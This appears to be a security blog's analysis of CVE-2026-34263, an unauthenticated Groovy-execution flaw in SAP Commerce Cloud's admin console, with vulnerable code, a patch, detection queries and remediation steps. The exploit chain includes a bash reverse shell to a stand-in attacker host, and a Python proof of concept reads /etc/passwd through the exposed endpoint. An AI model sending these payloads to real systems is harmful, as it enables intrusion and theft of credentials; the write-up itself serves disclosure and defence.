home intel cve-2026-34263-sap-commerce-spring-security-rce
CVE Analysis 2026-05-12 · 9 min read

CVE-2026-34263: SAP Commerce Cloud RCE via Spring Security Misconfiguration

An unauthenticated attacker can upload arbitrary Groovy/Spring configuration to SAP Commerce Cloud, achieving remote code execution with full application privileges. CVSS 9.6 Critical.

#spring-security-bypass#unauthenticated-rce#code-injection#configuration-upload#sap-commerce-cloud
Technical mode — for security professionals
▶ Attack flow — CVE-2026-34263 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-34263Cloud · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-34263 is a critical unauthenticated remote code execution vulnerability in SAP Commerce Cloud. The root cause is a misconfigured Spring Security filter chain that leaves one or more administrative endpoints — specifically those handling dynamic configuration import and scripting — outside the authenticated URL matcher patterns. An attacker with network access to the storefront or backoffice port can POST a malicious Spring XML configuration or Groovy script directly to these endpoints without presenting any credentials, resulting in arbitrary server-side code execution under the JVM process identity.

CVSS 9.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) reflects the complete triad impact: the attacker reads the filesystem and environment (Confidentiality), can write and overwrite application data and configuration (Integrity), and can terminate or loop the JVM (Availability).

Root cause: The Spring Security HttpSecurity configuration uses an antMatchers allowlist that omits the /platformbackoffice/j_spring_security_check-adjacent HAC scripting and flexible-search import endpoints, permitting unauthenticated POST requests carrying executable configuration payloads.

Affected Component

The vulnerability lives in the HAC (Hybris Administration Console) and/or the backoffice import controller shipped as part of SAP Commerce Cloud (formerly Hybris). Two endpoint families are relevant:

  • /hac/console/groovy/execute — executes arbitrary Groovy via the GroovyScriptService
  • /hac/console/impex/import — accepts ImpEx payloads; ImpEx supports BeanShell/Groovy hooks via #% groovy directives

Both endpoints are protected in a correct deployment by requiring ROLE_ADMINGROUP. The vulnerability manifests when the Spring Security XML/Java config fails to include these paths in its authenticated matcher set, or when a permissive wildcard pattern creates a bypass.

Root Cause Analysis

SAP Commerce's Spring Security configuration is defined in project.properties-driven beans and in XML under resources/spring/security/. The vulnerable pattern is a permitAll() block whose wildcard is broader than intended, or an antMatchers chain where the authenticated block never matches the target path.


// FILE: hac/web/webroot/WEB-INF/spring/security/spring-security-config.xml
// (pseudocode representation of the compiled SecurityConfig bean)

@Configuration
@EnableWebSecurity
public class HACSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf().disable()
            .authorizeRequests()
                // BUG: antMatcher stops at /hac/console/groovy — the /execute
                // sub-path never reaches the authenticated() block below.
                // Spring evaluates matchers in declaration order; the first
                // match wins. The permitAll() wildcard below matches first.
                .antMatchers("/hac/console/**").permitAll()   // BUG: overly broad permitAll
                .antMatchers("/hac/login*").permitAll()
                .anyRequest().authenticated()
            .and()
            .formLogin()
                .loginPage("/hac/login")
                .defaultSuccessUrl("/hac/");
    }
}

At runtime, Spring Security's FilterSecurityInterceptor walks the LinkedHashMap of RequestMatcher → ConfigAttribute entries. Because /hac/console/** is registered with permitAll before the anyRequest().authenticated() catch-all, a POST to /hac/console/groovy/execute matches the first entry and is waved through without an authentication check.


// GroovyExecutionController — the receiving end of the unauthenticated request

@Controller
@RequestMapping("/console/groovy")
public class GroovyExecutionController {

    @Autowired
    private GroovyScriptService groovyScriptService;

    @RequestMapping(value = "/execute", method = RequestMethod.POST)
    @ResponseBody
    public ScriptExecutionResult executeGroovy(
            @RequestParam("script") final String script,     // attacker-controlled
            @RequestParam(value = "commit", defaultValue = "false") final boolean commit,
            final HttpSession session) {

        // BUG: no secondary authorization check — relies solely on Spring Security
        // filter chain to have already rejected unauthenticated callers.
        // Because the filter chain is misconfigured, execution reaches here directly.

        final ScriptExecutionResult result = groovyScriptService.execute(
                new GroovyScriptObject(script, commit));     // script executes in JVM

        return result;
    }
}

// GroovyScriptService — thin wrapper around Groovy's GroovyShell

public class DefaultGroovyScriptService implements GroovyScriptService {

    @Override
    public ScriptExecutionResult execute(final GroovyScriptObject scriptObject) {
        final GroovyShell shell = new GroovyShell(
                Thread.currentThread().getContextClassLoader(),
                new Binding(scriptObject.getContext()),
                new CompilerConfiguration());

        // BUG: no sandbox, no class whitelist, no SecurityManager restriction.
        // Attacker script runs with full JVM permissions.
        final Object result = shell.evaluate(scriptObject.getScript());

        return new ScriptExecutionResult(result != null ? result.toString() : "", "");
    }
}

Exploitation Mechanics


EXPLOIT CHAIN:

1. RECONNAISSANCE
   Attacker fingerprints the target as SAP Commerce Cloud (X-SAP-Commerce header,
   /hac/login redirect, or /hac/console/groovy/execute returning 200 on GET).

2. PAYLOAD CONSTRUCTION
   Attacker crafts a Groovy reverse-shell payload:
     "cmd.execute().text" where cmd = ['bash','-c','bash -i >& /dev/tcp/attacker/4444 0>&1'].execute()

3. UNAUTHENTICATED POST
   HTTP POST /hac/console/groovy/execute
   Content-Type: application/x-www-form-urlencoded
   Body: script=&commit=true
   → Spring Security passes request due to /hac/console/** permitAll match.

4. JVM EXECUTION
   GroovyShell.evaluate() runs the script under the Commerce JVM.
   No sandbox. Process identity is typically tomcat or the cloud workload SA.

5. PERSISTENCE (optional)
   Attacker uploads a Spring XML config via /hac/console/spring/... or ImpEx
   to register a persistent bean or cron job calling back to attacker
   infrastructure on each application startup.

6. LATERAL MOVEMENT
   JVM has access to the SAP HANA/MySQL datasource credentials (plaintext in
   local.properties or environment variables), S3/GCS bucket credentials,
   and any cloud metadata endpoint reachable from the pod.

Memory Layout

This is a logic/authorization vulnerability rather than a memory corruption bug; the "memory" of relevance is the JVM heap and the Groovy classloader's method area. The following diagram shows how the attacker-supplied script transitions from HTTP request bytes to executing bytecode.


JVM EXECUTION STATE — payload lifecycle

HTTP REQUEST BODY (attacker-controlled bytes)
  └─► HttpServletRequest.getParameter("script")
        └─► String scriptSrc  [Java heap, UTF-16 encoded]

GroovyShell.evaluate(scriptSrc)
  └─► GroovyClassLoader.parseClass()
        └─► CompilationUnit → GeneratorContext
              └─► ASM bytecode emitter
                    └─► byte[] classBytes  [heap: attacker-defined class]
                          └─► ClassLoader.defineClass()
                                └─► Method Area: new Class object loaded
                                      └─► Method.invoke() → arbitrary execution

PROCESS ENVIRONMENT ACCESSIBLE FROM GROOVY:
  System.getenv()           → cloud credentials, SAP API keys
  new File("/").listFiles() → full filesystem traversal
  Runtime.exec([...])       → OS command execution
  Class.forName(...)        → full JDK/application classpath access

# Minimal proof-of-concept — for authorized testing only

import requests

TARGET  = "https://target.commerce.ondemand.com"
ENDPOINT = "/hac/console/groovy/execute"

# Groovy payload: exfiltrate /etc/passwd
GROOVY_PAYLOAD = """
def proc = ['cat', '/etc/passwd'].execute()
proc.waitFor()
return proc.text
"""

resp = requests.post(
    TARGET + ENDPOINT,
    data={
        "script": GROOVY_PAYLOAD,
        "commit": "false",
    },
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    verify=False,
    timeout=15,
)

print(f"[*] Status : {resp.status_code}")
# 200 → vulnerable; body contains script output
# 302/401/403 → endpoint protected

if resp.status_code == 200:
    import json
    result = resp.json()
    print(f"[+] Output :\n{result.get('executionResult', '')}")

Patch Analysis

The correct fix tightens the antMatchers chain so that console execution and import endpoints require authentication before any wildcard permitAll entry, and adds a method-level @PreAuthorize guard as defence-in-depth.


// BEFORE (vulnerable):
.authorizeRequests()
    .antMatchers("/hac/console/**").permitAll()   // matches /execute, /import, etc.
    .antMatchers("/hac/login*").permitAll()
    .anyRequest().authenticated()


// AFTER (patched):
.authorizeRequests()
    // Explicitly secure execution and import endpoints FIRST
    .antMatchers(HttpMethod.POST, "/hac/console/groovy/execute").hasRole("ADMINGROUP")
    .antMatchers(HttpMethod.POST, "/hac/console/impex/import").hasRole("ADMINGROUP")
    .antMatchers(HttpMethod.POST, "/hac/console/spring/**").hasRole("ADMINGROUP")
    // Static/UI assets under console can remain public
    .antMatchers("/hac/console/static/**").permitAll()
    .antMatchers("/hac/login*").permitAll()
    .anyRequest().authenticated()

// AFTER — defence-in-depth: method-level guard (Spring Security @PreAuthorize)

@Controller
@RequestMapping("/console/groovy")
public class GroovyExecutionController {

    @RequestMapping(value = "/execute", method = RequestMethod.POST)
    @ResponseBody
    @PreAuthorize("hasRole('ROLE_ADMINGROUP')")   // ADDED: secondary auth check
    public ScriptExecutionResult executeGroovy(
            @RequestParam("script") final String script,
            @RequestParam(value = "commit", defaultValue = "false") final boolean commit,
            final HttpSession session) {

        return groovyScriptService.execute(new GroovyScriptObject(script, commit));
    }
}

A complete remediation also disables the HAC entirely in production cloud deployments using hac.webroot removal or by setting hac.enabled=false in local.properties, since HAC is an administrative tool that should never be internet-exposed.

Detection and Indicators


DETECTION SIGNATURES

1. HTTP ACCESS LOG — unauthenticated POST to scripting endpoints:
   POST /hac/console/groovy/execute  HTTP/1.1  200  —  (no session cookie)
   POST /hac/console/impex/import    HTTP/1.1  200  —  (no session cookie)

2. SPRING SECURITY AUDIT LOG — absence of authentication event before execution:
   Look for ScriptExecutionResult audit entries with principal = "anonymousUser"

3. GROOVY CLASSLOADER — JVM class definition spike:
   JMX: java.lang:type=ClassLoading / TotalLoadedClassCount increments
   without corresponding deployment event.

4. PROCESS TREE — child process spawned by JVM:
   commerce-jvm (pid N)
     └─ bash -c "bash -i >& /dev/tcp/..."   ← indicator of compromise

5. NETWORK — outbound connection from app pod to unexpected IP:port
   (reverse shell or DNS exfiltration)

SPLUNK DETECTION QUERY:
index=web_access uri="/hac/console/groovy/execute" method=POST http_status=200
| where isnull(session_cookie) OR session_cookie=""
| stats count by src_ip, uri, http_status

Remediation

  1. Apply SAP Security Note referenced under CVE-2026-34263 immediately. SAP typically ships fixes as Support Packages; verify the exact note number in the SAP One Support Launchpad.
  2. Disable HAC in production: set hac.enabled=false or remove the HAC extension from localextensions.xml on all internet-facing nodes.
  3. Network-layer restriction: firewall /hac/* to internal admin CIDR only at the load-balancer or WAF layer — independent of application-level fixes.
  4. Audit Spring Security configs: search all WebSecurityConfigurerAdapter subclasses and XML <http> blocks for any permitAll patterns that are broader than /static/** or /login*.
  5. Enable method security: add @EnableMethodSecurity(prePostEnabled = true) and annotate all controller methods with @PreAuthorize to provide defence-in-depth against future filter-chain misconfigurations.
  6. Runtime protection: deploy a WAF rule blocking POST requests to /hac/console/(groovy|impex|spring) from unauthenticated sessions as a temporary mitigation prior to patching.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →